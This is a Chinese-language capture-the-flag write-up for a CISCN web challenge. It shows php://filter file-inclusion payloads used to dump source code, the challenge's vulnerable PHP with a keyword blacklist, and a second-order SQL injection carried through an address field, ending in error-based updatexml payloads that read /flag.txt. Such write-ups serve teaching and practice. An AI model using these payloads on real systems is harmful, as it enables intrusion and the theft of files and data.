CTF-Ciscn-cyberpunk


image.png

看了半天发现就四个功能 添加 删除 查找 确认 并且参数很多一眼感觉就是sql 注入。
但是源码里面有一个?file 很难不怀疑文件包含。
因此读取对应的源码文件。利用了filter

1
2
3
4
5
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=change.php
?file=php://filter/convert.base64-encode/resource=confirm.php
?file=php://filter/convert.base64-encode/resource=delete.php
?file=php://filter/convert.base64-encode/resource=search.php

**index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

**search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

不做其他的文件读取,只读一下change文件
***change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

看一下gpt的解释对应的数据库查询结果
$row = $fetch->fetch_assoc(); 这一行代码在 PHP 中用于处理 MySQL 数据库查询结果,具体解释如下:

  1. $fetch: 这是一个 mysqli_result 对象,通常是通过执行 SQL 查询获得的。这个对象包含了查询结果的所有行。

  2. fetch_assoc(): 这是 mysqli_result 类中的一个方法。调用这个方法会从结果集中取出下一行数据,并将其作为一个关联数组返回。关联数组的键是列名,值是对应列的值。

  3. $row: 这个变量用来保存 fetch_assoc() 方法返回的关联数组。如果没有更多的行可以取出,fetch_assoc() 方法会返回 NULL

可以看到对于变量来讲除了address 没有进行一个黑名单。而只是用了函数

  1. addslashes(): 这是 PHP 中的一个函数,用于对字符串中的特定字符进行转义。它在字符串中的以下字符前面添加反斜杠(\):

    • 单引号 (')
    • 双引号 (")
    • 反斜杠 (\)
    • NULL 字符 (\0)

    这个函数通常用于保护 SQL 查询中的数据,避免 SQL 注入攻击,尤其是当你使用旧的 MySQL 函数(如 mysql_query())时。
    此时可以看见转义,但其实这个也非常的可怕。因为很难搞我们无法拼接。之前写过一篇文章,二次注入,十分符合这个场景。首先输入一个参数,由于转义我们无法使用因此我们只能先存进数据库。等待二次操作。刚好这个题目有一个change的而此操作。

读一下对应的change的二次操作。 但是目前有个问题就是我们的 $address = addslashes()这个函数,它是转义之后也会放入这个数据库中。

1
'".$row['address']."'

看似有一个双引号其实 取完数据库的值之后双引号就会消失。 那么就是’address’
因此完全符合二次注入

payload

1
2
3
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

image.png
爽了,直接一个报错注入。

flag{e8f2a64c-b8bc-4500-86f1-8834f14cb98e5}


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录